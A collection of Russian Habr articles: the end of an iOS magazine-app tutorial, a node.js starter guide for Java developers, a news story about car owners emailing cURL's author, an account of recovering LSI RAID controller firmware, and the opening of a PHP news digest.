Далее, NKIssue принимает статус ''доступна'' — можно показывать ''брошюру''.
Следующий вопрос: обновление библиотеки — сводится к повторной загрузке issues.plist и его обработке имеющимся методом. Вспомните, там мы проверяли, был ли журнал добавлен в библиотеку иль нет. Правда, возникает предметная проблематика. Для ряда журналов, пользователь может забыть про него, к моменту выхода нового. И тут, как некстати, под рукой APNS. Это еще та тема. Признаюсь, с первого раза не осилил. Да и вообще, не я сделал эти уведомления в свой журнал. Ключевым камнем преткновения был сертификат, а точнее, надобность его конвертации.
Все-же, APNS: во первых, это сервис отправки уведомлений. Программка может получить id девайса, на котором она запущена и передать его на свой сервер. Сперва, нужно подписаться на эти уведомления
```
@implementation AppDelegate
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
// Register device for receiving push notifications
[[UIApplication sharedApplication] registerForRemoteNotificationTypes:
(UIRemoteNotificationTypeBadge | UIRemoteNotificationTypeAlert)];
```
Опосля, UIApplicationDelegate Protocol, имеет метод application:didRegisterForRemoteNotificationsWithDeviceToken:, в котором имеем DeviceToken (id) и из которого можно слить инфу своему серверу. Рядышком есть метод application:didReceiveRemoteNotification:, в котором можно что-то делать по получению уведомления.
На стороне сервера, нужно принимать запросы (HTTP), которые несут DeviceToken-ы и складировать их в БД. Далее, согласно купленным билетам, а точнее, согласно тому, что на сервере развернуто, нужно искать либу отправки сообщений на APNS. Согласно ее API, прикрепив сертификат и пароль, соединяемся и посылаем сообщения, которые содержат, как полезную нагрузку, так и DeviceToken-ы. Там еще есть нюансы, но это отдельная тема.
Помимо прочего, на iOS журнал накладывается еще два ограничения. Перовое — Privacy Policy URL. С технической стороны, тут крайне просто. Второе ограничение — необходимость распространения контента, используя iTunesConnect внутренние покупки. Как я понял, это означает, что пользователь обязан купить мой free журнал за 0 денег.
Итого, iTunesConnect In-App Purchases означает использование Store Kit. В UserDefaults я завел свойство isFreeSubscribed. По тапу проверяю его, и в случае NO показываю alert. По согласию, подписываю
```
SKProductsRequest *productsRequest = [[SKProductsRequest alloc]
initWithProductIdentifiers:[NSSet setWithObject:@"FreeSubscription"]];
productsRequest.delegate=self;
[productsRequest start];
```
Плюс, надо реализовать методы делегата и установить isFreeSubscribed в YES, чтоб забыть про In-App Purchases. ProductId для SKProductsRequest нужно получать на сайте iTunesConnect, в разделе Manage In-App Purchases.
На финише повествования, полагаю, что тут нету и половины журнальных нужностей, однако, хочется верить, что мне удалось очертить самые необходимые технические вопросы для самого простого журнала.
[](http://habrastorage.org/files/219/06e/c6c/21906ec6c4174f43a26cc196a4c1721a.PNG) [](http://habrastorage.org/files/452/491/51c/45249151cb67414194b70646e146fe74.PNG) [](http://habrastorage.org/files/e5d/5e4/f58/e5d5e4f58bd44215b640cc56e4c1ad41.PNG) [](http://habrastorage.org/files/b4d/0b7/cb2/b4d0b7cb2a434156878920416985c219.PNG) | https://habr.com/ru/post/212067/ | null | ru | null |
# node.js для Java-разработчиков: первые шаги
У опытного программиста, сталкивающегося с новой технологией для решения конкретной прикладной задачи, сразу возникает множество практических вопросов. Как правильно установить платформу? Где и что будет лежать после установки? Как создать каркас проекта, как он будет структурирован? Как разбивать код на модули? Как добавить библиотеку в проект? Где вообще взять готовую библиотеку, которая делает то, что нужно? Как и в чём отлаживать код? Как написать модульный тест?
Ответы на эти вопросы можно при желании легко найти в сети, но придётся перечитать дюжину статей, и на каждый вопрос ответов будет, скорее всего, несколько. Некоторое время назад мне понадобилось написать небольшой туториал по node.js, который бы позволил быстро запустить разработку и познакомить новых программистов в проекте с этой технологией. Рассчитан он на опытных Java-разработчиков, которые и язык JavaScript хорошо знают, но node.js как платформа для бэкэнда для них в новинку.
Думаю, что данная статья будет полезна не только разработчикам из мира Java, но и всем, кто начинает работу с платформой node.js.
#### Установка и настройка
##### Установка node и npm
###### Windows
Установка node.js под Windows производится с помощью msi-инсталлятора. Для его загрузки нужно перейти на сайт <https://nodejs.org> и щёлкнуть «Install». После скачивания инсталлятора (файл с именем вида node-v0.12.4-install.msi) необходимо запустить его и следовать инструкциям по установке.
По умолчанию под Windows node.js устанавливается в папку c:\Program Files\nodejs. Также по умолчанию устанавливаются все компоненты (собственно node.js, пакетный менеджер npm, ссылка на документацию; кроме того, путь к node и npm прописывается в переменную среды PATH). Желательно убедиться, что все компоненты установки выбраны.
###### OS X
В OS X проще всего установить node через менеджер пакетов [brew](http://brew.sh). Для этого необходимо выполнить команду:
```
> brew install node
```
Node установится в папку /usr/local/Cellar/<версия>/node с постоянным симлинком /usr/local/opt/node/.
###### Ubuntu (x64)
Для установки последней ветки (0.12) лучше скачать дистрибутив с сайта:
```
wget http://nodejs.org/dist/v0.12.4/node-v0.12.4-linux-x64.tar.gz
sudo tar -C /usr/local --strip-components 1 -xzf node-v0.12.4-linux-x64.tar.gz
```
Дистрибутив распакуется в папку /usr/local в подпапки bin, include, lib и share.
##### Проверка установки
Для проверки корректности установки можно запустить в командной строке node и npm с параметром --version:
```
> node --version
v0.12.4
> npm --version
2.10.1
```
##### Установка плагина в IntelliJ IDEA
Запустим IntelliJ IDEA, зайдём в настройки.
Найдём раздел Plugins и щёлкнем «Install JetBrains Plugin...»
Найдём в списке плагин NodeJS, щёлкнем по кнопке «Install Plugin». По окончании загрузки кнопка превратится в «Restart IntelliJ IDEA» — щёлкнем её для перезагрузки среды.
После перезагрузки зайдём в настройки и найдём раздел Languages & Frameworks -> Node.js and NPM. Убедимся, что в разделе «Node interpreter» указана ссылка на установленный исполняемый файл node.
В разделе «Sources of node.js Core Modules» щёлкнем кнопку «Configure». В появившемся окне выберем «Download from the Internet» и щёлкнем «Configure», при этом скачаются и проиндексируются исходники node.js. Это позволит просматривать исходники при разработке.
В разделе packages отображаются **глобально** установленные пакеты (см. раздел «Глобальные пакеты»). В этом окне можно добавлять, удалять и обновлять эти пакеты. Если рядом с именем пакета отображается синяя стрелочка, значит, доступно обновление. Глобально лучше устанавливать только пакеты-утилиты.
#### Первые шаги
##### Пишем «Hello World»
Создадим файл app.js, который формирует и выводит соответствующую строчку в консоль:
```
// файл app.js
var greeting = 'hello';
greeting += ' world!';
console.log(greeting);
```
Запустим его командой:
```
> node app.js
hello world!
```
##### Используем REPL
Запустив команду node без аргументов, можно попасть в REPL-цикл, аналогичный браузерной JS-консоли. В нём можно выполнять и проверять фрагменты кода:
```
> node
> console.log('hello world!')
hello world!
undefined
> [1, 2, 3].reduce(function(sum, item){return sum + item}, 0)
6
```
Каждая выполненная строчка имеет возвращаемый результат, который также выводится в консоль. Функция console.log() не возвращает результата, поэтому после её вызова в консоли вывелось «undefined».
В REPL-консоли работает автодополнение по нажатию клавиши Tab. Например, если написать «console.» и нажать Tab, то отобразится список атрибутов и функций объекта console.
```
> console.
console.__defineGetter__ console.__defineSetter__
console.__lookupGetter__ console.__lookupSetter__
console.__proto__ console.constructor
console.hasOwnProperty console.isPrototypeOf
console.propertyIsEnumerable console.toLocaleString
console.toString console.valueOf
console.assert console.dir
console.error console.info
console.log console.time
console.timeEnd console.trace
console.warn
console.Console console._stderr
console._stdout console._times
> console.
```
Для выхода из консоли можно нажать Ctrl+D.
#### Работа с npm
##### Инициализация проекта
Для инициализации проекта выполним в каталоге будущего проекта команду npm init и введём необходимые данные в интерактивном режиме (можно просто нажимать Enter, так как предлагаются внятные настройки по умолчанию):
```
> npm init
This utility will walk you through creating a package.json file.
It only covers the most common items, and tries to guess sensible defaults.
See `npm help json` for definitive documentation on these fields and exactly what they do.
Use `npm install --save` afterwards to install a package and
save it as a dependency in the package.json file.
Press ^C at any time to quit.
name: (nodetest)
version: (1.0.0)
description: my first node application
entry point: (index.js) app.js
test command:
git repository:
keywords:
author:
license: (ISC)
About to write to \*\*\*\package.json:
{
"name": "nodetest",
"version": "1.0.0",
"description": "my first node application",
"main": "app.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC"
}
Is this ok? (yes)
```
По окончании выполнения утилиты в текущем каталоге будет создан файл package.json, описывающий конфигурацию проекта. В нём же будет храниться информация о зависимостях проекта.
##### Добавление пакетов-зависимостей в проект
Чтобы установить зависимость в проект, используется команда npm install. При этом в текущем каталоге будет создана папка node\_modules, в которую будет помещён загруженный пакет. Ключ --save означает, что информация об этой зависимости будет добавлена также в package.json. Например, установим пакет log4js для протоколирования:
```
> npm install --save log4js
log4js@0.6.25 node_modules/log4js
├── async@0.2.10
├── underscore@1.8.2
├── semver@4.3.4
└── readable-stream@1.0.33 (isarray@0.0.1, inherits@2.0.1, string_decoder@0.10.31, core-util-is@1.0.1)
```
После выполнения этой команды обнаружим, что в текущем каталоге появилась папка node\_modules\open, а в файле package.json добавилась запись:
```
"dependencies": {
"log4js": "0.6.25"
}
```
Запись о зависимости можно добавить в файл package.json и вручную, но после этого необходимо выполнить npm install, чтобы загрузить указанную зависимость в каталог node\_modules.
##### Глобальные пакеты
Пакеты можно устанавливать как в каталог проекта, так и глобально, тогда они будут видны для всех проектов. Как правило, глобально устанавливаются только пакеты, являющиеся утилитами, например, утилита управления зависимостями bower, сборщики gulp и grunt, генератор проектов на Express express-generator, и т.д.
Глобальные пакеты устанавливаются:
* В Windows 8 — в %USERPROFILE%\AppData\Roaming\npm\node\_modules,
* В OS X — в /usr/local/lib/node\_modules,
* В Ubuntu — в /usr/local/lib/node\_modules.
Чтобы установить пакет глобально, команда npm выполняется с ключом -g:
```
npm install -g grunt
```
#### Работа в IntelliJ IDEA
##### Открытие проекта
Чтобы открыть проект на node.js, достаточно открыть папку, содержащую package.json.
##### Настройка конфигурации запуска
Для запуска и отладки в IntelliJ IDEA необходимо создать конфигурацию запуска. Для этого зайдём в Run -> Run Configurations, щёлкнем плюсик в левом верхнем углу и выберем node.js:
Заполним поля Name и JavaScript File:
Теперь можно запускать скрипт в обычном режиме и в режиме отладки с помощью соответствующих кнопок на панели инструментов:
##### Отладка
Для отладки необходимо запустить созданную конфигурацию в режиме Debug. При этом можно ставить брейкпойнты на строки, «шагать» по строкам, смотреть содержимое стека вызовов, значения переменных в текущем контексте и делать всё прочее, что ожидается от отладочного режима.
#### Модульность в node.js
В Java единицами модульности являются пакеты и классы. Единицей модульности в node.js является файл. Чтобы сделать импорт одного модуля в другой, используется модуль-локальная (т.е. неявно определённая в каждом модуле) функция require(). Стандартные модули или пакеты, установленные в node\_modules, можно импортировать по простому имени:
```
var http = require('http');
```
В переменную http будет помещён объект, который был экспортирован модулем http.
Если требуется импортировать не стандартный модуль, а один из модулей проекта в другой, то аргумент для функции require() должен содержать размещение модуля относительно текущего модуля (не считая расширения .js), например:
```
// файл myproject/somedir/mymodule1.js
mymodule2 = require('../anotherdir/mymodule2');
mymodule2.fun();
```
```
// файл myproject/anotherdir/mymodule2.js
module.exports.fun = function() {
console.log('hello world!');
}
```
Всё, что объявлено в файле модуля, видно только внутри него — за исключением того, что мы явно экспортируем. Например, в отличие от JavaScript в браузере, область видимости переменной, объявленной на верхнем уровне, ограничена тем модулем, в котором она объявлена:
```
// файл mymodule.js
var enterprise = 'bloody';
```
Переменная enterprise будет видна только внутри модуля mymodule.js.
Чтобы экспортировать что-либо из модуля, можно использовать доступный в любом модуле атрибут module.exports, который по умолчанию содержит в себе пустой объект. Можно также использовать сокращённую ссылку на него — модуль-локальную переменную exports. Функция require(), которой передано имя нашего модуля, будет возвращать то, что мы поместили в module.exports. Соответственно, если мы поместим туда такой объект:
```
// файл mymodule.js
module.exports = {
fun: function() {
console.log('hello world!');
}
}
```
То именно его вернёт функция require, будучи вызванной в другом модуле:
```
// файл mymodule-client.js
mymodule = require('./mymodule');
mymodule.fun();
```
Полученный объект mymodule — это тот же самый объект с функцией fun, который был присвоен атрибуту module.exports в нашем модуле.
Однако подобным способом сделать экспорт не получится:
```
// файл mymodule.js
exports = {
fun: function() {
console.log('hello world!');
}
}
```
Это связано с тем, что из модуля всегда экспортируется атрибут module.exports. Заменив сокращённую ссылку exports на другой объект, мы не изменили этот атрибут. Сокращённая ссылка exports может быть использована только для экспорта каких-то отдельных функций или атрибутов:
```
// файл mymodule.js
exports.fun = function() {
console.log('hello world!');
}
```
```
// файл mymodule-client.js
require('./mymodule').fun();
```
#### Тестирование
##### Mocha
Для добавления модульного тестирования в проект лучше всего начать с фреймворка [Mocha](http://mochajs.org). Устанавливается он как глобальный npm-модуль:
```
npm install -g mocha
```
Протестируем модуль с простейшей функцией:
```
// файл mymodule.js
exports.fun = function(name) {
return 'Привет, ' + name + '!';
}
```
Тесты mocha по умолчанию размещаются в подпапке test:
```
// файл test/mymodule-test.js
var assert = require('assert');
var mymodule = require('../mymodule');
describe('mymodule', function() {
describe('#fun()', function() {
it('должна приветствовать пользователя, имя которого передано как аргумент', function() {
assert.equal(mymodule.fun('Сергей'), 'Привет, Сергей!');
});
});
});
```
Первый аргумент функции describe — это человекочитаемое описание поведения тестируемой функции или модуля, которое будет выводиться в консоль при прогоне тестов. Здесь желательно придерживаться некоторых структурных соглашений — например, в первом describe указывается имя модуля, во вложенном — имя тестируемой функции. Запустим mocha и убедимся, что тест нашей функции проходит:
```
> mocha
mymodule
#fun()
✓ должна приветствовать пользователя, имя которого передано как аргумент
1 passing (7ms)
```
##### Использование Mocha в IntelliJ IDEA
Mocha также умеет мониторить исходники и автоматически прогонять тесты при изменении кода. Запустить её в таком режиме можно и из командной строки с помощью параметра запуска --watch, но раз уж мы строим наш рабочий процесс в IntelliJ IDEA, то используем для этого специальную конфигурацию запуска:
В окне настройки конфигурации запуска укажем название этой конфигурации (Name), а также путь к папке с тестами (Test directory). Сохраним конфигурацию.
Изменим код функции так, чтобы он не проходил, и выполним (Run) конфигурацию запуска Mocha.
Теперь щёлкнем кнопку Toggle auto-test в появившейся панели. Эта кнопка включает режим автоматического прогона тестов при изменении исходников.
Исправим код функции, при этом Mocha автоматически прогонит тест и покажет, что теперь всё хорошо:
#### Ресурсы
* [Документация по node.js](http://nodejs.org/dist/latest/docs/api/) — основной источник информации, хотя местами довольно лаконичный, и структурированный вокруг стандартных модулей.
* [Веб-репозиторий npm](https://www.npmjs.com) — поиск библиотек, информация о них.
* [Awesome List для node.js](https://github.com/sindresorhus/awesome-nodejs) — незаменимый источник информации о проверенных библиотеках и решениях для разработки на node.js.
* [Практики использования node.js в продакшне](https://www.joyent.com/developers/node) — информационный портал компании Joyent, занимающейся поддержкой node.js. | https://habr.com/ru/post/259987/ | null | ru | null |
# Почему автор cURL получает письма от расстроенных автовладельцев
*«Здравствуйте! У меня Тойота Королла с мультимедийной системой, правами на которую вы обладаете. Мне нужен совет, как использовать GPS...», — так начинается одно из писем, которое в последнее время получил Дэниель Стенберг.*
Хорошо быть автором популярной open source программы. Вас уважают. Если захочется устроиться на работу в коммерческую компанию, то не нужно писать резюме. Код программы открыт и говорит сам за себя. Да и вообще open source — это огромный плюс в карму. Вы можете познакомиться и поговорить с замечательными людьми, которым противно общаться с «пиджаками» из корпораций. А с вами они будут на равных.
Но у популярности есть определённые проблемы. Иногда очень неожиданные. Например, автор известной программы [cURL](https://curl.haxx.se/) сейчас [получает письма от расстроенных автовладельцев](https://daniel.haxx.se/blog/2016/11/14/i-have-toyota-corola/), у которых возникли проблемы с информационно-развлекательной системой автомобиля и навигатором. С чего вдруг?
Ларчик открывается просто. По требованию лицензии cURL адрес электронной почты Стенберга указан на странице "About" информационно-развлекательной системы автомобиля, в которой используется программный код cURL, или в списке контактной информации и на тому подобных страницах. Дэниель подозревает, что иногда это **единственный адрес, который там указан**!
Обычные автовладельцы не имеют понятия, что такое cURL и кто такой Дэниель, но считают своим правом написать жалобу по адресу, который указан на экране в машине. В каком-то смысле их можно понять. Но ситуация не становится от этого менее смешной.
*cURL — это свободная кроссплатформенная служебная программа командной строки предназначенная для копировании файлов по разным протоколам с синтаксисом URL. Автором является Дэниель Стенберг. Он же является обладателем всех прав. Адрес электронной почты `daniel@haxx.se` указан в [тексте лицензии cURL](https://curl.haxx.se/docs/copyright.html), которая является производной от стандартной лицензии MIT. cURL действует как автономная обёртка для библиотеки libcurl. В свою очередь, libcurl используется, чтобы обеспечить возможность передачи файлов многочисленным приложениям в системе.*
Вы спросите, каким образом код программы cURL попал в автомобильный компьютер? Ну, вы просто не знакомы с «фаршем» современных машин. Это настоящие компьютеры на колёсах, в том числе с сетевой функциональностью. В частности, cURL является частью стандартного пакета установки автомобильного софта [GenIVI](https://www.genivi.org/) и [Tizen](https://www.tizen.org/), а также идёт в комплекте со многими другими программными пакетами.
Вряд ли Дэниель Стенберг мог предполагать в 1997 году, когда выпустил первую версию cURL, что через двадцать лет его программа будет установлена в миллионах автомобилей по всему миру. Но так получилось.
И теперь ему приходится с этим жить: «Обычно это не слишком затрагивает мою повседневную жизнь, — пишет он. — Конечно, меня волнуют сотни миллионов установок cURL в мире, но компании-поставщики обычно не связываются со мной, а cURL пока работает чрезвычайно стабильно, так что не многие из этих людей появляются в баг-трекере или списке почтовой рассылки (а если появляются, то не рассказывают, где они живут и над чем работают).
Автовладельцы же не обращаются в баг-трекер или список почтовой рассылки, а пишут лично Стенбергу. У себя в блоге Дэниель опубликовал три лучших перла из полученных недавно писем.
> **13 ноября 2016 года**
>
> *Здравствуйте, сэр
>
> У меня Авалон 2016
>
> По поводу аудиоплеера, почему там задержка между звуком и видео, если подключаться по Bluetooth, и как это исправить*
> **5 ноября 2016 года**
>
> *Здравствуйте,
>
> У меня на новом Форд Мондео установлена навигационная система FM5T-19H449-FC Europe F4 c SD Card.
>
> Я могу прочитать карту, но не могу записать на неё. Я хочу добавить на карту некоторые точки в навигатор. Можете помочь мне сделать это?*
> **5 ноября 2016 года**
>
> *Здравствуйте,
>
> У меня Тойота Королла с мультимедийной системой, правами на которую вы обладаете.
>
> Мне нужен совет, как использовать GPS.
>
> Сейчас я не могу пользоваться и не вижу карт.
>
> И я хочу знать, как добавить иврит.*
Дэниель Стенберг с сожалением признаётся, что редко отвечает на эти письма. Просто потому что автор cURL не знает, чем помочь несчастным автовладельцам. За годы он чётко понял, что попытка объяснить пользователям, что такое лицензия open source, и почему он не имеет отношения к используемому продукту, отнимает слишком много времени и сил.
Даже не понятно, куда можно перенаправить такие письма. Обычно у автопроизводителей отсутствуют специальные отделы, которые могут отвечать пользователям на такие «ламерские» вопросы по программному обеспечению. Разработчики стороннего программного обеспечения тоже не всегда оказывают техническую поддержку по телефону и электронной почте. Например, куда писать тому же владельцу Короллы, которому нужен иврит в навигаторе? Вероятно, в компанию Toyota писать бессмысленно.
Сам Стенберг разумно [рассуждает](https://daniel.haxx.se/blog/2016/11/14/i-have-toyota-corola/#comment-17857) по этому поводу: «Если сами эти люди не могут найти адрес, куда писать, я должен сделать это? Они говорят о различных моделях машин, разных устройствах и производителях. Мне придётся искать адреса, куда перенаправить письма, объяснять ситуацию и т.д.».
Радует, что Стенбергу не пришлось ещё столкнуться с угрозами от странных личностей, как [автору веб-сервера thttpd](http://acme.com/software/thttpd/repo.html). Его контакты пострадавшие эвакуаторы (ребята, которые занимаются эвакуацией автомобилей — высококонкурентный, полубандитский бизнес) нашли по ссылке внизу веб-страницы на русскоязычном хакерском форуме, где хакеры опубликовали список взломанных сайтов. Это вообще классика жанра.
Всё равно непонятно, что делать Дэниелю Стенбергу в такой ситуации. Менять адрес электронной почты — не вариант. | https://habr.com/ru/post/399251/ | null | ru | null |
# Восстановление прошивки RAID-контроллеров LSI
Доброго времени суток, хабравчане!
Я хочу рассказать вам о том, как я восстанавливал прошивку RAID-контроллера LSI MegaRAID после неудачного обновления.
Когда эта беда случилась со мной, то информации об этом я практически не нашел, хотя, допускаю, что плохо гуглил.
#### Анамнез
В своей работе я уже достаточно давно использую серверы Supermicro, так как у них есть большой выбор платформ, достаточно демократичная цена и приличная надежность.
Зачастую, особенно в случае с 1U серверами я беру их уже с интегрированным контроллером LSI MegaRAID.
Но проблема с ними заключается в том, что сама Supermicro не очень охотно выкладывает прошивки для встроенных контроллеров, так что я их обычно прошиваю актуальной прошивкой (масло масляное, да) от аналогичного контроллера LSI. Проблем не возникало до этих пор.
Недавно привезли несколько серверов с контроллерами LSI 2208 на борту и достаточно старой прошивкой.
Т.к. дискретные контроллеры на этих чипах я тоже активно использую, то особо не сомневаясь загрузился с флешки с Linux-ом, запустил привычное:
```
./MegaCli64 -AdpFwFlash -f mr2208.rom -a0
```
и пошел заниматься дальше своими делами.
Когда я в следующий раз обратил взор на терминал сервера, то увидел ту же самую картину, что и была — *«Flashing firmware...»* и никакого результата. Беда, подумал Штирлиц.
Вход на сервер по SSH не удавался, посмотрев на VGA-консоль увидел сообщения что корневая ФС перешла в режим **Read Only** и вообще всё очень плохо, а в любой момент будет еще хуже.
Делаю Reset и вижу такую картину:
Да, беда. Поиски в интернетах не привели к какому-либо результату. Судя по всему, проблема достаточно редкая.
#### Лечение
Я попробовал загрузиться с флэшки и прошить контроллер заново, но ни под DOS, ни под Linux утилита MegaCli его уже не определяла вообще. Прошивать, соответственно, тоже отказывалась.
Так что я обратился в саппорт LSI, где добрый человек с индусским именем указал мне на документацию к MegaRAID, а именно на страницу 305, где есть такой достаточно незаметный подраздел, который толком не объясняет зачем же делать то, что в нем написано:
Ага, подумали партизаны, наверное это прошивка в режиме восстановления, и взялись за дело.
Под Windows флэшку с FreeDOS сделать проще всего используя утилиту [Rufus](http://rufus.akeo.ie/), буквально в один клик.
Под Linux сделать аналогичное можно подручными средствами (используя syslinux или GRUB), на эту тему есть много статей.
Заливаем на нее MegaCli.exe и найденную на просторах [ftp.supermicro.com](ftp://ftp.supermicro.com) [прошивку](ftp://ftp.supermicro.com/driver/SAS/LSI/2208/Firmware(not_for_X9DRL-7F)/3.290.05-2720/Firmware.zip).
Грузимся, запускаем:
```
MegaCli.exe -AdpM0Flash -f smc2208.rom
```
Обращаю внимание, что указывать адаптер (опция -a) не нужно, судя по всему он прошивает все какие найдёт, либо первый попавшийся на PCI шине.
Дело пошло:
Прошивка в этом режиме занимает достаточно долгое время, около 15 минут, так что наберитесь терпения.
Когда он закончит — выключаем сервер по питанию, включаем его обратно и ждем чуда.
Но вместо чуда видим мы такую вот безрадостную картину:
Гугление по такой ошибке приводит к единственной ссылке на [блог](http://www.aos.name/2010/09/07/fw-is-in-fault-state-perc-solution/) нашего соотечественника, где он на чистом английском советует отключить от контроллера BBU, вынуть контроллер из сервера и потом поставить обратно.
В моем случае вынуть карту из сервера можно только лобзиком, BBU у меня нет, так что не вариант.
Пробую прошить стандартным способом, MegaCli обнаруживает контроллер, но говорит то же самое, мол **F/W is in fault state**, так что ничего делать не буду.
Обращаемся опять в саппорт, который разводит руками и советует попробовать [LSI Pre-Boot USB and CD tool](http://mycusthelp.info/LSI/_cs/AnswerDetail.aspx?&inc=8278), а если он не поможет, то сдавать железо назад.
Ок, качаем ISO, подключаем его через IPMI к серверу и грузимся.
Выбираем в меню загрузки пункт **recovmr**, затем нам предлагают написать в командной строке **recover** и наступит счастье. Но не наступило.
BAT-файл не может найти подключенный диск **D:**, видимо драйвер CDROM в FreeDOS на этом образе LSI не дружит с виртуальным приводом IPMI.
Хорошо, заглядываем в BAT файл и смотрим, что же он там собирался делать:
```
MegaCli.exe -AdpFwFlash -f D:\FW\RECOVER\TB_16MB.ROM -aALL
```
Открываем ISO, ищем этот загадочный файл и видим, что он размером аж 16 мегабайт (да, мы уже догадывались из названия), что вдвое больше стандартной прошивки. Видимо, этот образ ROM полностью переписывает микросхему Flash на контроллере.
Пытаемся прошить его так же, как это собирался делать BAT-ник, но получаем знакомое: **F/W is in fault state**
Да, так себе Recovery-образ подготовила нам LSI.
Ладно, используем наш предыдущий опыт и пытаемся прошить этот файл через Mode0.
На этот раз прошивка заняла минут 30, так как файл вдвое больше обычного. После прошивки обесточиваем сервер, включаем его обратно и видим заветный экран:
**Салют, шампанское, сервер спасён!**
Но этот живительный образ содержит не самую свежую версию прошивки, так что я с легким сердцем опять загрузился с FreeDOS-флешки и пошел прошивать его свежей прошивкой от Supermicro… и опять получил зависание на той же стадии, как в самом начале:
Круг замкнулся. Я даже для верности оставил его в таком виде на ночь, но ничего не изменилось.
После перезагрузки имеем опять битую прошивку.
Методом проб и ошибок было выяснено, что после прошивки образа восстановления нужно сделать сброс к заводским настройкам:
```
MegaCli.exe -AdpFacDefSet -a0
```
и выключить-включить сервер.
После этого прошивается уже без зависания, и мы видим свежую версию прошивки:
Всё, на этот раз получилась 100% победа над непокорным железом!
#### Выписка
Мораль сей басни такова: если не хочется потратить пару дней на восстановление или еще больше на возврат оборудования, то лучше все-таки прошиваться предназначенными производителем железа прошивками (если он их выкладывает, у того же Supermicro я ее нашел только копаясь в дебрях FTP — на странице сервера или материнской платы ссылок нет), либо ничего не трогать и жить с той, которая уже есть.
Хотя я не уверен что проблема была вызвана именно «инородной» прошивкой, а не каким-то случайным глюком, но проверять это еще раз мне не хочется.
Бывают и такие случаи, когда прошивка просто по какой-то причине портится (выключили электричество во время прошивки или еще какой гамма-всплеск случился в ближнем космосе), и тогда придётся прибегнуть к аварийному восстановлению.
Надеюсь, что эта статья поможет тем, кто наткнётся на похожую проблему в будущем. | https://habr.com/ru/post/209348/ | null | ru | null |
# PHP-Дайджест № 191 (19 октября – 2 ноября 2020)
[](https://habr.com/ru/post/526098/)*Фото: Валерий Горбачев ([PHP Krasnodar](https://t.me/phpkrd))*
Свежая подборка со ссылками на новости и материалы. В выпуске: PHP 8.0 RC 3 и видеообзоры новых возможностей, Composer 2, завершение разработки Faker (теперь в новой организации), два новых RFC для PHP 8.1, порция полезных инструментов, статьи, видео с прошедших митапов.
Приятного чтения!
### Новости и релизы
* **[PHP 8.0 RC 3](https://www.php.net/archive/2020.php#2020-10-29-2)** — Предпоследний релиз-кандидат перед финальным выпуском. RC 4 ожидается 12 ноября и сам релиз уже 26 ноября.
Свежие материалы по PHP 8:
+  [Серия видеороликов по всем новым фичам от Spatie](https://spatie.be/videos/front-line-php). Также выложен [на YouTube](https://www.youtube.com/playlist?list=PLjzBMxW2XGTwEwWumYBaFHy1z4W32TcjU).
+ [Отличный обзор изменений с интерактивными демо](https://pociot.dev/32-php-8-try-out-all-new-features) от Marcel Pociot. Есть перевод:  [PHP 8 — пробуем новые возможности](https://habr.com/ru/company/mailru/blog/525614/).
+  [Видеокурс по новым фичам](https://beyondco.de/course/whats-new-in-php-8/new-features/union-types) от Marcel Pociot и BeyondCode.
+ Обновление серии постов от Larry Garfield: [Weak maps](https://platform.sh/blog/2020/php-80-feature-focus-weak-maps/), [FFI](https://platform.sh/blog/2020/php-fun-with-ffi-just-enough-c/), [JIT](https://platform.sh/blog/2020/php-80-feature-focus-just-in-time-compilation/).
+ [Самые частые ошибки совместимости с PHP 8.0 и как их исправить](https://www.exakat.io/en/common-php-8-0-compilation-error-messages/).
* **[В PhpStorm 2020.3 будут доступны кастомные атрибуты для PHP 8](https://blog.jetbrains.com/phpstorm/2020/10/phpstorm-2020-3-eap-4/)**: `#[ArrayShape]`, `#[ExpectedValues]`, `#[NoReturn]`, `#[Pure]`, `#[Deprecated]`, `#[Immutable]`. Причем `#[ArrayShape]` и `#[Immutable]` будут работать даже с более ранними версиями PHP.
* **[PHP 7.4.12](https://www.php.net/ChangeLog-7.php#7.4.12)**
* **[PHP 7.3.24](https://www.php.net/ChangeLog-7.php#7.3.24)**
* **[Composer 2](https://blog.packagist.com/composer-2-0-is-now-available/)** — В этом мажорном релизе:
+ улучшена производительность благодаря параллельному скачиванию и установке пакетов и куче других оптимизаций;
+ более понятное описание ошибок при разрешении зависимостей;
+ в скрипт автозагрузки добавлен шаг проверки версии PHP и расширений (отключается добавлением `"platform-check": false`);
+ `--dry-run` флаг для `require` и `remove` – тестовый прогон команды, чтоб увидеть, что будет в итоге;
+ `--unused` флаг для `remove` поможет удалить ненужные зависимости из `vendor`, которых нет в `composer.json` (типа purge);
+ и [много другого](https://github.com/composer/composer/releases/tag/2.0.0).
Подробнее об изменениях можно почитать [на php.watch](https://php.watch/articles/composer-2) или чуть короче [в переводе на Хабре](https://habr.com/ru/post/524916/).
Чтобы обновиться на новую версию, достаточно запустить: `composer self-update --2`.
* **[Закат PHP Faker](https://marmelab.com/blog/2020/10/21/sunsetting-faker.html)** — В [PR по поддержке PHP 8](https://github.com/fzaninotto/Faker/pull/2063) в библиотеке [fzaninotto/Faker](https://github.com/fzaninotto/Faker) поднялся спор о том, как развивать библиотеку. В ответ автор Francois Zaninotto объявил о том, что пакет можно считать завершенным и новых релизов не будет. Передавать репозиторий другой команде он не хотел, поэтому вскоре был создан форк [fakerphp/Faker](https://github.com/fakerphp/Faker), который уже совместим с PHP 8 и не поддерживает PHP 5.
Передавать права François Zaninotto не хотел, во-первых, потому что хочет оставить проект с 25k+ звезд на своем аккаунте. А во-вторых, потому что в прошлом был автором популярной ORM Propel. Контроль над ней он передал другому разработчику, который совершил [единственную худшую стратегическую ошибку](https://www.joelonsoftware.com/2000/04/06/things-you-should-never-do-part-i/) решив переписать все с нуля. Прошло 7 лет и стабильная версия Propel 2 до сих пор не вышла. Хотя это и не мешает использовать альфа-версии.
Спасибо [François](https://twitter.com/francoisz) за 9 лет работы над Faker.
* **[PHP Russia 2020 -> PHP Russia 2021](https://phprussia.ru/moscow/2020)** — Конференцию [перенесли](https://t.me/PHPRussiaConfChannel/153) на 1 марта 2021 года.
* **[phpcommunity.ru](https://phpcommunity.ru/)** — PHP-сообщества в России, Беларуси, Украине.
Ближайшие митапы: [Калининград, 4 ноября](https://gdg-kaliningrad.timepad.ru/event/1460215/); [Краснодар, 7 ноября](https://phpcommunity.ru/meetup-krasnodar); [Нижний Новгород, 14 ноября](https://phpcommunity.ru/meetup-nn-3).
### PHP Internals
